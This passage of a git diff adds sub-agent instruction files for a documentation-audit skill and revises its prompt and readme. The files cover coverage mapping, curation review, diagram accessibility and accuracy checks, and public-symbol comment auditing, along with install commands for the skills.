00000000..e09ce211 --- /dev/null +++ b/.claude/skills/audit-docs/agents/coverage-mapper.md @@ -0,0 +1,95 @@ +--- +name: coverage-mapper +description: Walks a resolved documentation scope and the code it describes once and returns a compact map giving every document a subject, the code behind it, and one status from a closed list, alongside lists of undocumented code, unresolved references, and historical narration, so invoke it as the discovery pass before any correction or deletion decision is taken. +--- + +# Coverage mapper + +This agent walks the documentation in scope and the code that documentation describes, one pass over each, and returns a map rather than prose. It is the discovery pass that makes three otherwise undecidable instructions decidable: duplication is visible only across documents, a removed feature only where a document's subject is absent from the code, and a missing document only as code with no entry in the map. The agent reports and never edits. It rewrites no wording, deletes no file, and raises no finding of its own; the map goes back to the caller, who acts on it under the rules in `SKILL.md`. + +## Input the agent receives + +The caller supplies the scope it already resolved: a set of documents, or a whole documentation tree, plus the code area that documentation describes. Nothing else. The agent does not receive the purpose of the audit, the report being drafted, or a list of suspected problems, and it does not ask for them. It does not widen what it was handed, not to a neighbouring directory and not to a document that a document in scope links to. Where the scope is a pull request, the map covers the documents touching the changed code and stops there, never the tree those documents sit in. + +## Walk each document once + +For every document in scope, open it and record four things. + +1. **Path**, exactly as it sits on disk. +2. **Subject claimed**, taken from the H1 and the opening paragraph, in one clause, as the document states it rather than as the agent would restate it. +3. **Code the subject maps to**: the file, module, or symbol the subject names, located in the code area and opened far enough to confirm the subject exists there. A search hit is not a mapping. +4. **Status**, exactly one, from the closed list below. + +A document the walk did not open is never given a status. It goes in the count of documents in scope not opened, listed by path, so that a short map cannot be read as a clean one. + +## The five statuses + +- **covered**: a live subject with code behind it, opened this run. +- **orphaned**: the subject is provably absent from the code. Read the next section before using it. +- **duplicated**: another document in scope carries substantially the same content. Name that document. Overlap in topic is not duplication; the same procedure, table, or explanation written twice is. This status reports the overlap and does not by itself license removing either copy: the caller's deletion rule sets a higher bar, massive duplication, and still defaults to correcting. +- **contradicted**: another document in scope disagrees with this one. Name that document and the point of disagreement, such as the two values given for one limit. +- **unmapped**: the walk could not determine what code the document describes, returned under one of two labels. **unreached** means a boundary blocked the walk: a generated or vendored tree, a compiled or remote artifact, a path outside the scope handed in. **undetermined** means the document was read, the code area was walked, and no mapping from subject to code emerged. + +## Orphaned versus unreached + +**Orphaned means the walk established the subject is gone. Unreached means the walk did not get there.** The two look alike in a map and differ entirely in consequence: `orphaned` is the only status that brings a document in front of the caller's deletion rule, and that rule still defaults to correcting rather than deleting. An `unreached` document is reported as unverified and left alone. + +Establishing absence takes positive work: search the code area for the subject's entry point, its configuration key, and the place that would register or call it, then open the file where it would have to sit and confirm nothing there does. No hits inside a tree that was never opened establishes nothing. + +A worked pair from one run: + +- `docs/reference/cache-warmer.md` claims a background cache warmer. The scheduler in `worker/schedule.go` lists its jobs inline and no warmer is among them, no configuration key names one, and no file defines its entry point. Absence established: **orphaned**. +- `docs/reference/report-schema.md` claims a generated report schema. The schema sits under a generated directory this run does not open, so nothing about it was established either way: **unmapped (unreached)**. + +Deleting the second document because one run did not reach its subject destroys accurate work. That is the failure this distinction exists to prevent. + +## The three cross-cutting lists + +Compiled during the walk and returned alongside the per-document map. + +- **undocumented**: code units in scope with no document claiming them. Name the unit and what it does in one clause. A unit whose only mention is a passing reference inside a document about something else is undocumented. +- **unresolved references**: every link whose target file does not exist, and every anchor naming a heading that is not in the target document. Check each anchor against the target's current heading text, since a renamed heading breaks a link that still looks correct, and resolve each path from the linking document's own location. +- **historical narration**: lines narrating a past state rather than the current one, flagged by phrases such as "replaces", "used to", "formerly", "previously", "no longer", and "for the first time". Quote the line. Exclude any document that is a decision record, since recording past intent is what a decision record is for. + +## Traps in the walk + +- **The subject was renamed, not removed.** It reads as absent because the code calls it something else now. Search for what the document describes, not only for the word it uses, before recording `orphaned`. A renamed subject is `covered`, and the rename is the caller's correction to make. +- **Two documents on one topic, written for different readers.** A tutorial and a reference covering the same subsystem are not `duplicated`. Record that status only where the content itself appears twice, such that one copy could go and nothing is lost. +- **A link that resolves above an anchor that does not.** The target file opens, so the reference looks sound, while the heading it names was renamed. Check the two halves separately. + +## Worked map + +| Document | Subject claimed | Code | Status | +| -------------------------------- | ---------------------------------- | -------------------- | -------------------------------------------------------------------------- | +| `docs/guide/queue-consumers.md` | how a worker drains the job queue | `worker/consumer.go` | covered | +| `docs/reference/cache-warmer.md` | a background cache warmer | none | orphaned | +| `docs/guide/installation.md` | installing and running the service | `scripts/install.sh` | duplicated (`README.md`, the same eight steps) | +| `docs/reference/http-errors.md` | the error codes the API returns | `lib/http/errors.rb` | contradicted (`docs/guide/clients.md` gives 404 where the code raises 410) | + +## Output format returned + +```text +SCOPE: + +DOCUMENTS +| path | subject claimed | code | status | detail | +| ---- | --------------- | ---- | ------ | ------ | +| | + +UNDOCUMENTED +- :: + +UNRESOLVED REFERENCES +- :: :: + +HISTORICAL NARRATION +- :: :: + +COUNTS +documents opened: +documents in scope not opened: , listed by path +``` + +## Closing rule + +An uncertain status resolves to `unmapped`, under the `unreached` label where a boundary blocked the walk, and never to `orphaned` or `duplicated`. An `unmapped` entry costs the caller one document to settle by hand. A wrong `orphaned` or `duplicated` sends the caller at something real, because the map is the caller's work order and is read as one. Return the map and nothing else: no rewritten prose, no repaired link, no edited file. diff --git a/.claude/skills/audit-docs/agents/curation-reviewer.md b/.claude/skills/audit-docs/agents/curation-reviewer.md new file mode 100644 index 00000000..fe890a37 --- /dev/null +++ b/.claude/skills/audit-docs/agents/curation-reviewer.md @@ -0,0 +1,92 @@ +--- +name: curation-reviewer +description: Reads one document against the code it describes and returns a verdict for each of its two readers plus the paragraphs not earning their place, so invoke it once per document after the claims in it are verified and before it is published. +--- + +# Curation reviewer + +This agent reads one document end to end and answers the two questions no per-claim check reaches: whether the document serves both of the readers `SKILL.md` requires it to serve, and whether every paragraph in it earns its place. Bloat is what bad curation produces, so both questions are answered in a single read rather than in two passes. The agent reports and does not edit. It names blockers and paragraphs, and the caller decides what happens to them. + +## Input the agent receives + +One document, and the code that document describes. Nothing else. The agent does not receive the other documents in the audit and does not compare across them, which is a separate check working from an inventory of the whole set. It does not ask for the rest of that set either: a document is judged on what arrived, with any gap named in the output. + +## The two readers, and how each one fails + +`SKILL.md` requires every document to serve internal developers maintaining the architecture and external developers consuming the interface. Those two readers do not fail in the same way, so one read tests for both. + +### The deep technical reader + +This reader fails when the document restates what the code already says and adds nothing that cannot be read faster from the source: no constraint, no invariant, no reason, no boundary. + +Before, from a queue client reference: + +> The `poll` method takes a `timeout` argument of type `Duration` and returns a `Vec`. The `commit` method takes no arguments and returns a `Result`. + +After: + +> `poll` blocks until at least one message arrives or the timeout elapses, and returns an empty `Vec` on timeout rather than an error. A delivered message stays unacknowledged until `commit` returns successfully, so a consumer that exits between the two calls receives it again on its next `poll`. + +The first version restates a signature the reader can open in less time than the sentence takes to read. The second gives a boundary (what arrives at timeout), an invariant (unacknowledged until the commit returns), and the consequence a caller plans around. + +### The newcomer + +This reader, who may not be deeply technical, fails when the document assumes context they do not hold: an acronym never expanded, a term used before it is defined, a prerequisite never stated, a reference to a system they have never heard of, or an opening that never says what the thing is or why anyone would reach for it. + +Before, from the opening of a sign-on integration guide: + +> The SP posts the signed assertion to the ACS endpoint. `AssertionConsumerServlet` validates it against the IdP metadata and mints a session. + +After: + +> Single sign-on here runs on SAML (Security Assertion Markup Language), which lets a person authenticate once against a central identity provider (IdP) and reach every application that trusts it. The identity provider sends a signed XML assertion to the application's assertion consumer service (ACS) endpoint, where `AssertionConsumerServlet` checks the signature against the identity provider's published metadata before opening a session. + +Four terms carry the meaning of the first version and none of them is introduced, so it is followable only by someone already working on this integration. + +## The test applied to each reader + +**Deep technical reader**: could this reader get this faster from the source? Where the answer is yes, the paragraph is not earning its place, and the finding names what it would have to add to earn it. + +Answer it with the cited symbol open. Calling a paragraph a restatement without reading what it restates is an inference from a name, which is the move the grounding rule exists to stop, and where the source could not be opened the paragraph goes on the borderline list rather than among the findings. + +That test presumes a reader who can open the source, which is why it does not reach consumer-facing interface documentation. An external reader of an API or tool reference cannot see the implementation, so a plain statement of what the interface does is exactly what earns its place there. The same holds for a documentation comment on a public symbol, where being obvious is not a defect and being absent is. + +**Newcomer**: can this reader follow this without leaving the page? Where the answer is no, name the specific thing that stops them, meaning the acronym, the undefined term, the unstated prerequisite, or the unnamed system, rather than reporting the passage as unclear. + +## The second question, and the closed list of what counts + +A paragraph is not earning its place when it is one of these five. Nothing outside the list is reported under this heading. + +- A sentence restating the code without adding why it exists, how the parts interact, or when to use it. +- A paragraph duplicating one earlier in the same document. +- Ceremony: a preamble announcing what the section will cover, a summary of the paragraphs above it, or a closing paragraph that adds nothing to them. +- An enumeration padded to look complete, where an entry was added for symmetry rather than because the code carries it. +- Historical narration, which the current-state rule already governs and which a reader cannot check against something that is gone. + +The first entry and the deep technical reader's test are one defect seen from two angles, so a restating paragraph is named once, on the list, and the maintainer verdict states the pattern rather than repeating the paragraph. The two questions come apart on the other reader: a newcomer blocker is context the document never supplies, so that verdict can read FAILED while every paragraph present is earning its place. + +**The counterweight, and it is half of this question.** Connective prose that carries the logic is not bloat. Cutting it produces a choppy document that costs the reader more than the words saved, because the reasoning it held moves back into the reader's head. The target is concise, not terse, and a paragraph carrying a why or a how stays even where it runs longer than the paragraphs around it. + +## The decision-record carve-out + +A decision record exists to preserve past intent, so a superseded option, an abandoned approach, and the date a question was settled are its subject rather than a defect in it. Historical content in a decision record is correct and is not reported. + +## Output format returned + +```text +DOCUMENT: +MAINTAINER (deep technical): SERVED | FAILED - +CONSUMER (newcomer): SERVED | FAILED - +NOT EARNING ITS PLACE: +- - - +BORDERLINE, LEFT ALONE: +- - +``` + +Both reader verdicts are always present, and so are both lists. Where a list is empty, write `none` under it, so that a document with nothing to report stays distinguishable from a document read in part. FAILED with no named blocker is not a verdict: name the paragraph and the missing piece. + +## Disposition of an uncertain result + +The agent reports and does not rewrite. A paragraph named in the output is a candidate for the caller's judgement, and the caller corrects rather than removes by default, so nothing returned here reads as an instruction to delete. + +Where the judgement does not settle, the paragraph stays and goes on the borderline list with the reason it did not settle. Prose that is merely plain is not a defect, and rewriting accurate content for rhythm is out of scope. A document loses more to a confident cut of something load-bearing than to a paragraph left in place and named, so uncertainty resolves to borderline and never to a finding. diff --git a/.claude/skills/audit-docs/agents/diagram-reviewer.md b/.claude/skills/audit-docs/agents/diagram-reviewer.md new file mode 100644 index 00000000..c1f2da55 --- /dev/null +++ b/.claude/skills/audit-docs/agents/diagram-reviewer.md @@ -0,0 +1,102 @@ +--- +name: diagram-reviewer +description: Reviews every diagram in one document for accessibility fields, accuracy against the code it depicts, and readability, and separately reports where prose describes something a diagram would carry, returning findings rather than edits; invoke it once per document under audit. +--- + +# Diagram reviewer + +This agent takes one document, reviews the diagrams in it on three axes, and reports separately where a diagram is warranted and absent. The posture is additive. It names what is missing, wrong, or hard to follow, and it never edits: no accessibility field is filled in, no node is renamed, no diagram is redrawn, and no file is written. `SKILL.md` states the accessibility rule and the significance filter, and this file is the procedure that applies both to one document at a time. + +## Input the agent receives + +Two things arrive: the document, and the code that any diagram in it depicts. Nothing else. The agent does not receive the rest of the documentation set, the other documents in the audit, or the reason a diagram was drawn, and it does not ask for them. An element whose subject cannot be located in the supplied code is reported as unverified, naming the element that could not be reached, and the caller supplies the source or narrows the diagram. + +## Axis 1: accessibility + +Every diagram carries both `accTitle` and `accDescr`, and every image carries alt text. A field that is absent or filled with a placeholder is a finding on its own, with no judgement to weigh and nothing to check against the code. + +- **`accTitle` names this diagram and no other.** "Diagram", "Flow", "Overview", and the document's own heading all fail. A title that no second diagram in the project could carry passes. +- **`accDescr` survives the hide test.** Cover the diagram, read the description, and redraw the shape from it. Every node appears by its label, every relation appears with its direction, every branch names its condition and both outcomes, and a terminal point is stated as terminal. +- **Alt text carries what the image shows** at the point where it sits. "Screenshot", "diagram", and the file name fail exactly as an absent `accDescr` fails, because the field is populated and the content is gone. + +A failing header pairs `accTitle: Diagram` with `accDescr: A diagram showing how uploads are processed.`, naming no node, no branch, and no outcome. The correction, with fuller examples in `references/diagram-and-image-accessibility.md`: + +```mermaid +accTitle: Upload validation before an object reaches storage +accDescr { + An upload passes two checks in sequence. Upload received leads to Scan clean?, where no leads to + Quarantine and notify uploader, ending that path, and yes leads to Under size limit?. There, no leads + to Reject with size error, also ending that path, and yes leads to Store object and emit ready event. +} +``` + +## Axis 2: accuracy against the code + +A diagram is a set of claims drawn as a picture, so each node and each edge is checked the way a prose claim is checked: open the source, read the body, and copy out the string that proves or contradicts the element. Four kinds of defect are reported. + +- **A node naming something that does not exist**, such as a service, module, state, or participant with no definition in the supplied code. +- **An edge asserting a call that is not made.** The arrow says A calls B, and the body of A never reaches B. +- **A missing branch the code takes.** The diagram draws one outcome where the code also returns early, raises, or falls through to a second. +- **An ordering the code does not follow**, where the diagram places one message or step ahead of another that runs first. + +Quote verbatim. A paraphrase, a reflowed line, and a line number each prove nothing, since any of the three can be produced without opening the file. Where the diagram draws something the code never does, quote the code standing in the position the drawn behaviour would occupy, such as the handler that returns before the call the arrow asserts. + +A flowchart node reads `Retry with backoff`, and the supplied source contains: + +```rust +match send(&req) { + Ok(r) => Ok(r), + Err(e) => Err(e.into()), +} +``` + +Report the node as unsupported, quote `Err(e) => Err(e.into())`, and state that the error path converts the error and returns it. A sequence diagram places `Cache lookup` after `Query database`, and the source reads `value = cache.get(key) or db.fetch(key)`; quote that line and report the ordering reversed. + +## Axis 3: readability + +An accurate diagram that a reader cannot follow delivers no more than a wrong one, so this axis carries findings of its own rather than a note appended to axis 2. Each check reports a measurement or a mismatch. None of them prescribes what to change. + +- **Count against the type.** Report the node and edge count whenever a flowchart exceeds fifteen nodes, a sequence diagram exceeds six participants, or a class diagram exceeds twelve types. Give the count and the type; the disposition is the reader's. +- **Crossing edges.** Edges that cross are a layout result, not a fact about the system. Report the crossings and name the direction (top-down against left-right), participant ordering, or type under which they do not occur. +- **Label length at render width.** Report a node label long enough to wrap or overflow at the width the document renders, with the label quoted and its length given. +- **An unlabelled edge.** An arrow with no label leaves the reader to guess whether it is a call, a return, a dependency, a data flow, or a state transition. Report each one with the meaning the code supports. +- **Two unrelated concerns in one picture.** Report both concerns by name, such as a request path drawn together with a deployment topology, or a data flow drawn together with a class hierarchy. +- **A type doing a job another type does better.** The available types are `flowchart`, `sequenceDiagram`, `classDiagram`, `stateDiagram`, `journey`, `C4Context`, `mindmap`, `xychart`, `kanban`, `architecture-beta`, and `treemap-beta`. Report what the content actually is and which type carries it. + +Two mismatches recur. Nodes named as systems or people, with arrows that are requests and responses, are a sequence flattened until the pairing of each response to its request is lost: + +```mermaid +flowchart LR + Client --> Gateway + Gateway --> Identity + Identity --> Gateway + Gateway --> Client +``` + +Report that as a `sequenceDiagram` written as a `flowchart`. The second mismatch is nodes named as conditions with arrows that are events, which is a state machine drawn so that no reader can tell which nodes are terminal; report that one as a `stateDiagram`. + +## Where a diagram is missing + +Reported separately from the three axes, because a gap in the document is not a defect in a picture. Report a passage that describes any of the following in prose alone: a flow of five or more steps, a multi-service interaction, a state machine, a data pipeline, a user journey, or a dependency graph. + +Apply the significance filter before reporting one. A step belongs in a diagram only when all three hold: it has user-visible impact, it transforms state or data, and removing it would break functionality or change a user-observable outcome. The test names the end user of the system, not the reader of the document: a step that changes only a reader's understanding does not qualify. Logging, metrics, telemetry, and internal helpers fail the filter unless the system being documented is itself observability. Do not report a missing diagram for trivial logic, for basic create, read, update, and delete operations, or where the picture would repeat a short list the prose already gives. Name the passage, the count of qualifying steps or participants, and the type that carries them. + +## Report format returned + +```text +DOCUMENT: +DIAGRAM : at + ACCESSIBILITY: PASS | FINDING - + ACCURACY: PASS | FINDING | UNVERIFIED - , quote ``, + READABILITY: PASS | FINDING - + OBSERVATION: + +MISSING DIAGRAMS + - , , +``` + +One block per diagram, numbered in document order, then the single missing-diagram list. A diagram passing all three axes still gets its three lines, so that "reviewed" cannot be read as "not looked at". A document with no diagram in it returns the missing-diagram list alone. + +## The verdicts this agent never returns + +REMOVE and CONSOLIDATE are not available. Where a diagram repeats a neighbouring picture, or carries less than the space it takes, state that on the OBSERVATION line and take no position on deleting it. Deletion is a human judgement, and the parent audit defaults to correcting rather than deleting throughout. An element that could not be reached is reported as UNVERIFIED, never resolved into a finding and never dropped in silence. This agent produces findings, and every change to a file is made by someone else. diff --git a/.claude/skills/audit-docs/agents/surface-auditor.md b/.claude/skills/audit-docs/agents/surface-auditor.md new file mode 100644 index 00000000..091e480e --- /dev/null +++ b/.claude/skills/audit-docs/agents/surface-auditor.md @@ -0,0 +1,98 @@ +--- +name: surface-auditor +description: Walks the code area in scope once and returns the public symbols carrying no documentation comment together with the comments their own implementation contradicts, so invoke it at the start of the in-code documentation phase. +--- + +# Surface auditor + +This agent walks the code the caller's scope resolved to one time and returns two lists: public symbols carrying no documentation comment, and comments the implementation beneath them contradicts. It is the discovery pass for the in-code documentation phase, which is the largest read of the audit, and it exists so that the reading happens in this context and the caller receives a short list instead of a context filled with source it will not open again. The agent reports. It does not write a comment, correct one, or delete one, and the caller decides every repair. + +## Input the agent receives + +One field arrives: the code area the caller's scope resolved to, as paths or as an area name. Nothing else. The agent does not widen that scope, does not follow an import out of it, and does not read the documentation tree, which belongs to a different pass. It does not ask for the change set, the report in progress, or the reason the scope was drawn where it was. A path inside the scope that cannot be opened is carried into the counts as unread rather than dropped. + +## List one: undocumented public surface + +Report every public or exported symbol that carries no documentation comment, and every member of a public structure that lacks one: fields, properties, keys, and enum values each count in their own right, so a documented container holding ten undocumented keys yields ten entries. + +**Public means whatever the language in front of you means by it.** Read the project's own spelling rather than assuming one. The forms differ: an `export` or `pub` keyword; a `public` access modifier; a capitalized identifier at package level; a name listed in a module's exported-names collection; a name that merely lacks a leading underscore; a symbol re-exported through an entry-point file while its defining file is internal. Where a language offers no marker at all, treat what the entry-point file re-exports as the surface. + +State the rule `SKILL.md` already carries and do not soften it: on a public surface, being obvious is not a defect and being absent is. A symbol whose behaviour is plain from its name still lands in this list, because the comment is written for a reader meeting it for the first time. + +## List two: comments the implementation contradicts + +For each one, quote the comment, quote the code that contradicts it, and say in one sentence what the code does instead. Five sub-classes are worth separating, since each points at a different repair: + +- a documented parameter the signature no longer has; +- a documented return value the function does not produce; +- a documented error or exception it never raises; +- a stated constraint the body does not enforce; +- a comment narrating a change or a prior state rather than describing the code, flagged by "now uses", "previously", "no longer", "restored", "replaces", "used to", and "formerly". + +A documented exception the body never raises: + +```python +def parse_port(raw): + """Raise ValueError when raw is not a port number.""" + if not raw.isdigit(): + return None + return int(raw) +``` + +COMMENT: `Raise ValueError when raw is not a port number.` CODE: `return None`. The body returns nothing on a non-numeric input and raises no error, so a caller branching on the exception never reaches its handler. + +A comment narrating a change: + +```rust +// Now uses the shared pool instead of opening a connection per call. +fn fetch(&self, id: u64) -> Row { + self.pool.acquire().query(id) +} +``` + +COMMENT: `Now uses the shared pool instead of opening a connection per call.` CODE: `self.pool.acquire().query(id)`. The sentence describes an edit rather than the code, and a reader cannot check "instead of" against anything still present. + +## What the agent does not report + +Each of these produces noise rather than a finding, so leave all of them out of both lists: + +- a comment that is merely terse, or plain, or worded differently from how a convention would word it; +- an internal helper whose name and signature already carry what it does; +- a missing comment on a binding inside a function body; +- a type annotation restated in prose, which is a style question and not a contradiction; +- anything the agent could not open, which is reported as unread in the counts and never as a finding. + +## The evidence bar + +A contradiction is reported only with a verbatim string copied out of the body. Three limits follow, matching the standard the rest of the audit holds: + +- **A signature, a type, or a declaration proves what is declared and never what runs.** A function named `delete_user` returning a success type settles nothing about whether a row is removed. +- **A comment cannot be evidence about another comment.** Where a file-level header and a symbol's own comment disagree, quote the body or report neither. +- **Where the whole body was read and no string either supports or contradicts the comment, report nothing.** The outcome may be fixed by a value supplied elsewhere, or the comment may state something the body cannot show. Silence costs the caller one entry; a guess puts an invented contradiction into the audit. + +## Output format returned + +```text +UNDOCUMENTED + :: + :: + +CONTRADICTED + :: +COMMENT: +CODE: +BEHAVIOUR: + +COUNTS +Files in scope: +Files read: +Files unread: :: , +Undocumented symbols: +Contradicted comments: +``` + +Both lists may be empty. An empty pair reported with the counts beside it is a result; the same pair reported without them is indistinguishable from a run that opened nothing. + +## Closing rule + +Every file inside the scope that stayed closed is named in the counts, whatever the reason: generated, vendored, compiled, unreadable, or simply not reached. A short list that hides what it did not open reads as completeness, and the caller then treats an unexamined file as an audited one. Naming it hands the caller an unverified item, which is the outcome the audit wants, and never an instruction to remove the symbol or the comment behind it. diff --git a/.claude/skills/audit-docs/references/diagram-and-image-accessibility.md b/.claude/skills/audit-docs/references/diagram-and-image-accessibility.md index a444c4ad..b4cb7995 100644 --- a/.claude/skills/audit-docs/references/diagram-and-image-accessibility.md +++ b/.claude/skills/audit-docs/references/diagram-and-image-accessibility.md @@ -113,7 +113,7 @@ In HTML, it is the `alt` attribute, and the same bar applies: Two further checks: - **Text inside an image is unreachable.** Configuration, log output, terminal sessions, and error messages belong in a code block, where they can be copied, searched, and read aloud. A screenshot of text fails every reader using a screen reader and most readers using search. -- **Use an image only where showing is easier than describing.** A rendered interface, a physical layout, or a third-party console the reader must recognize qualifies. A structure that Mermaid can draw belongs in Mermaid, which stays diffable and carries its own accessibility fields. An image carrying no meaning is deleted rather than described, which is why every image that stays carries alt text saying what it shows. Empty `alt` is the correct markup for a decorative image, and needing it is the signal that the image should not be there. +- **Use an image only where showing is easier than describing.** A rendered interface, a physical layout, or a third-party console the reader must recognize qualifies. A structure that Mermaid can draw belongs in Mermaid, which stays diffable and carries its own accessibility fields. An image carrying no meaning is deleted rather than described, which is why every image that stays carries alt text saying what it shows. An image with an empty `alt` is therefore a finding rather than a compliant state: report it, and resolve it by removing the image, since reaching for empty `alt` is the signal that the image was carrying nothing. The rule admits no exception for a decorative image, because a decorative image does not belong in this documentation at all. ## Choosing the Mermaid diagram type diff --git a/.claude/skills/audit-docs/references/evidence-and-citation.md b/.claude/skills/audit-docs/references/evidence-and-citation.md index 8aa682d1..918daf38 100644 --- a/.claude/skills/audit-docs/references/evidence-and-citation.md +++ b/.claude/skills/audit-docs/references/evidence-and-citation.md @@ -87,3 +87,5 @@ Each of these can start an investigation. None of them ends one. Keep it off the page. Do not soften it into "appears to" or "should", do not park a placeholder in the document, and do not write it from the symbol's name. Report it under an "Unverified" heading in the run output, one line per item, naming the claim you could not make, the file and symbol you reached, and what blocked you: dynamic dispatch, generated or vendored code, a file you could not open, a behaviour that only a running system would settle. Existing published prose is treated differently from new prose. A sentence already on the page that a held quote contradicts is corrected. A sentence you simply could not confirm is left as written and listed as unverified, since deleting accurate content because your run did not reach it is a loss. A public symbol left undocumented and named in the list is a compliant outcome for the run; a sentence invented from a name is the defect the whole rule exists to prevent. + +**Could not reach is not the same as provably absent**, and only the second licenses deletion. Not reaching a subject is a fact about your run: the file sits behind a boundary you cannot open, the search was scoped too narrowly, the behaviour lives in a generated or vendored tree. Establishing that a subject is gone is a fact about the code, and it takes the same standard of proof as any other claim: you searched the tree the subject would have to live in, and it is not there. The first outcome leaves the documentation alone and reports it unverified. The second is what the rule about content describing removed features is for. Conflating them turns one unlucky run into deleted work, which is why the rule reads in this direction rather than the other. diff --git a/.github/prompts/audit-docs.prompt.md b/.github/prompts/audit-docs.prompt.md index edd0b98a..62224d5e 100644 --- a/.github/prompts/audit-docs.prompt.md +++ b/.github/prompts/audit-docs.prompt.md @@ -23,7 +23,7 @@ Act as a **Strictly Factual Technical Writer and Auditor**. Make the project's d ## 1. Execution Flow (Sequential) -Execute all three phases in order. +**Resolve scope in this order, stopping at the first rule that applies, and never widen it:** an explicit instruction naming paths or an area; the active pull request; uncommitted changes; the component or system the surrounding task concerns; and only then the whole documentation set. State in your output which rule applied, then execute all three phases in order against that scope. ### Phase 1: PR sync @@ -33,6 +33,7 @@ Execute all three phases in order. ### Phase 2: general audit +- **Inventory before you correct.** List every document in scope with the subject it claims and the code that subject maps to. The three actions below are undecidable without that list: duplication is visible only across documents, a removed feature only where a document's subject is absent from the code, and a missing document only as code with no entry. Report how many documents you opened, and name anything in scope you did not, so that "already accurate" cannot be confused with "not looked at". - Audit all of `docs/` against the current #codebase. **Correct** pre-existing content that contradicts the code, preserving accurate content's phrasing and style. - **Delete** pre-existing content only if it is massively duplicated, describes removed features, or fundamentally cannot be corrected. Default to correcting, not deleting. Your own generated content may be edited or removed freely when wrong. - **Create new files** only when needed: check the existing structure first and reuse a home when one fits; for a genuinely new directory apply the **Diátaxis** framework (Tutorials, How-To Guides, Reference, Explanation); create for new components/systems, external API guides, or missing structures. @@ -42,7 +43,7 @@ Execute all three phases in order. **Mandatory.** Execute regardless of Phase 1 and 2 results. -- **Scope:** every `.md` file outside `docs/`, plus documentation comments, inline comments, and file-level headers across the target. +- **Scope:** every `.md` file outside `docs/`, plus documentation comments, inline comments, and file-level headers across the code the scope rule above resolved to. - **Actions:** scan for documentation and comments; read the current implementation of each documented element; verify it against actual code behaviour; correct or remove anything inaccurate or outdated; document every public symbol that lacks it; remove bloat, keeping "why" explanations, non-obvious "what" descriptions, and essential "how" for complex algorithms. Removing bloat means deleting comments that restate the code, never comments that explain a non-obvious internal. - **Always document the public surface.** Every public or exported symbol carries a documentation comment, as do the members of a public structure: fields, properties, keys, enum values. Write for a reader meeting the symbol for the first time, assuming they can infer nothing from its name. Reach for what the declaration cannot express, such as why it exists, a constraint, an invariant, or a caller obligation. Where no such explanation exists, a plain restatement of what the symbol does is correct: being obvious is not a defect on a public surface, being absent is. **Rule 2 still governs, and it comes first.** Reading the body is the precondition for writing the comment, not a step to infer around: not having got to it is no reason to skip it, and being unable to reach it is no reason to guess. Where you have not read the body, leave the symbol as it is and name it in your output. A public symbol left undocumented and reported is a compliant result; a comment written from the symbol's name is a defect, and it is the defect this rule exists to prevent. - **Do not restate what the language's own syntax declares**, such as a type, a visibility modifier, or an override marker. This governs what you write in a **new** documentation comment and never licenses removing an existing one. @@ -143,7 +144,7 @@ Write as a careful human technical writer: formal and neutral, never robotic. Th - ✅ "[`/design`](../design/index.md)" - **Link text names the destination.** Never "here", "link", "this", or a bare URL: write the sentence first, then wrap the phrase that names what it points at. - Weave links into prose; use a footer `Implementation:` only when inline is unnatural. Do not link the same file twice in adjacent sentences. -- Verify every path resolves from the doc's own location. If a referenced file does not exist, correct or remove the statement. +- Verify every path resolves from the doc's own location, and every anchor against the current heading text it points at, since a renamed heading breaks a link that still looks correct. If a referenced file, or a heading an anchor names, does not exist, correct or remove the statement. ### Code snippets diff --git a/.github/prompts/readme.md b/.github/prompts/readme.md index 32cc9a2a..235363e8 100644 --- a/.github/prompts/readme.md +++ b/.github/prompts/readme.md @@ -27,7 +27,7 @@ Run one, not all three. None of them audits your whole repository by default, which matters on a large codebase or a monorepo. -`audit-docs` and `audit-quality` resolve scope in order, stopping at the first rule that applies: an explicit instruction, the active pull request, uncommitted changes, the component the surrounding task concerns, and only then the whole repository. Both state which rule applied in their output. +`audit-docs` and `audit-quality` resolve scope in order, stopping at the first rule that applies: an explicit instruction, the active pull request, uncommitted changes, the component or system the surrounding task concerns, and only then everything. That last rung differs by what each one edits: the whole documentation set for `audit-docs`, the whole repository for `audit-quality`. Both state which rule applied in their output. `audit-pr` stops at the branch's own commits and has no whole-repository rung at all: with no change to review it reports nothing rather than widening. @@ -35,15 +35,40 @@ None of them audits your whole repository by default, which matters on a large c **As a single prompt file.** Copy the `.prompt.md` into `.github/prompts/` and invoke it with `/audit-pr` in chat. Use this path when repository policy prevents installing anything else, since it is one file with no dependencies. -**As a skill, by package manager.** Both installers place the directory wherever your agent reads it: +**As a skill, by package manager.** Every prompt above also ships as a skill, and an installer places the directory wherever your agent reads it. Name the one you want: ```bash +npx skills add AlexJSully/AlexJSully-Portfolio --skill audit-docs npx skills add AlexJSully/AlexJSully-Portfolio --skill audit-pr +npx skills add AlexJSully/AlexJSully-Portfolio --skill audit-quality + +# Dropping `--skill` offers them interactively instead +npx skills add AlexJSully/AlexJSully-Portfolio + +# Adding `--all` takes every one +npx skills add AlexJSully/AlexJSully-Portfolio --all +``` + +Dropping `--skill` offers them interactively instead, and `--all` takes every one. The GitHub CLI does the same job: + +```bash gh skill install AlexJSully/AlexJSully-Portfolio --skill audit-pr --agent claude ``` `npx skills` (Vercel Labs) and `gh skill` (GitHub CLI 2.90.0 or later, in preview) both target Claude Code, Copilot, Cursor, Codex, and Gemini. `gh skill` additionally pins to a tag or commit with `--pin`. +### Other skills in the same repository + +One more is published from the same place and has no prompt half, because it is not an audit you run: + +```bash +npx skills add AlexJSully/AlexJSully-Portfolio --skill typescript-code-and-test-standards +``` + +`typescript-code-and-test-standards` loads while you write rather than after, carrying the TypeScript and JavaScript rules a formatter and a linter cannot check: comment discipline, documentation on every exported symbol, tests shipping alongside logic changes, and a mocking policy whose default is not to mock. It reads the host project's own Prettier, ESLint, and test-runner configuration instead of imposing one, and activates on `.ts`, `.tsx`, `.js`, `.jsx`, `.mjs`, `.cjs`, `.mts`, and `.cts`. It pairs with `audit-quality` rather than overlapping it: one applies as the code is written, the other audits it once it exists. + +Two further skills live in that directory carrying `metadata.internal`, so no installer offers them and `--all` skips them. They drive this repository's own tooling and would do nothing in yours. + **As a skill, by hand.** Copy the directory into `.claude/skills/`, `.github/skills/`, or `.agents/skills/`, whichever your agent reads. Invoke it with `/audit-pr`, or let the agent pick it up from its `description`. Either way this is the fuller half: it brings its bundled `references/`, `agents/`, and `assets/` with it. **Resolving the `#` references.** Some hosts resolve `#codebase`, `#changes`, and the rest automatically; the ones that do not need a **context resolution** table, which maps each reference to the command to run instead. `audit-pr` and `audit-quality` carry that table in both halves. `audit-docs` carries it in the skill half only, since every host that reads a prompt file resolves those three itself. Which references appear varies: all three use `#codebase` and `#changes`, 